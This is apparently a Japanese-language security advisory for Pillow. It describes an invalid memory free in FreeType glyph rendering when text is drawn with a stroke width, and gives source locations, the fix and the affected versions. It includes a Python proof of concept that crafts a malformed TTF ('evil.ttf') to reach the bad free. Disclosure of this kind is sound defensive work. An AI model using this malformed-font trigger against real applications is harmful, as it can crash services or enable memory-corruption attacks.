Pillow: FreeTypeのグリフ描画において、ストローカーが有効な場合に不正なメモリ解放が発生

### 概要
テキストがゼロ以外のストローク幅で描画される場合、PillowはFreeTypeストローカーを作成し、その後、各グリフをロードします。`FT_Load_Glyph`がグリフのロードに失敗した場合、クリーンアップ処理で`FT_Done_Glyph`が`glyph`変数に対して呼び出されます。この変数は、最初の計測ループの前に初期化されておらず、レンダリングループでは、各グリフが解放された後、NULLにリセットされていません。信頼できないバイトからロードされた不正なフォントは、ロードエラーを引き起こし、このメモリ解放に到達する可能性があります。これは潜在的なメモリ安全性の問題であり、クラッシュするかどうかは、初期化されていない、または古くなったポインタの値に依存します。

### 詳細
`glyph`はNULL初期化子なしで宣言されています。

- `src/_imagingft.c:848`

最初の計測ループは、`glyph`が割り当てられる前に`glyph_error`にジャンプする可能性があります。

- `src/_imagingft.c:1010-1013`

レンダリングループでは、各イテレーションの最後にグリフが解放され、NULLにリセットされません。

- `src/_imagingft.c:1242`

クリーンアップ処理は、ストローカーが存在するたびに、この解放を行います。

- `src/_imagingft.c:1253-1256`

`ImageFont.truetype`は、ファイルオブジェクトまたはバイトを受け入れるため、フォントは攻撃者によって提供される可能性があります。

### PoC (概念実証)
これには`fontTools`と、ベースとなるTTFファイルが必要です(例では、Pillowのテストに同梱されているものを使用)。このコードは、グリフ「A」を書き換え、グリフのデータ領域に対して短すぎるサイズで5000個の輪郭を定義するように変更します。これにより、`FT_Load_Glyph`はエラーを返し、フォント自体は正常に開きます。

```python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf" # 任意のTTFファイルがベースとして使用可能
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
```

```
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20) # フォントを読み込み
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # エラー発生 -> FT_Done_Glyph が不正なポインタで呼び出される
```

結果:ピン留めされたビルドでは、`FT_Load_Glyph` がエラーを返し、`glyph_error` のクリーンアップ処理が実行されます。この処理では `FT_Done_Glyph(glyph)` が呼び出され、プラグインから `OSError: invalid outline` が発生します。

### 影響
`stroke_width` が 0 以外の値でテキストを描画するアプリケーションで、信頼できないバイトから読み込まれたフォントを使用している場合、不正なメモリアクセスやダブルフリーが発生する可能性があります。正しい修正は小さく、`glyph = NULL` を初期化し、各 `FT_Done_Glyph` の呼び出し後に NULL に戻すだけです。

影響を受けるパッケージ:
- pip (Python) pillow: 影響あり >= 10.0.0, < 13.0.0、13.0.0 で修正済み。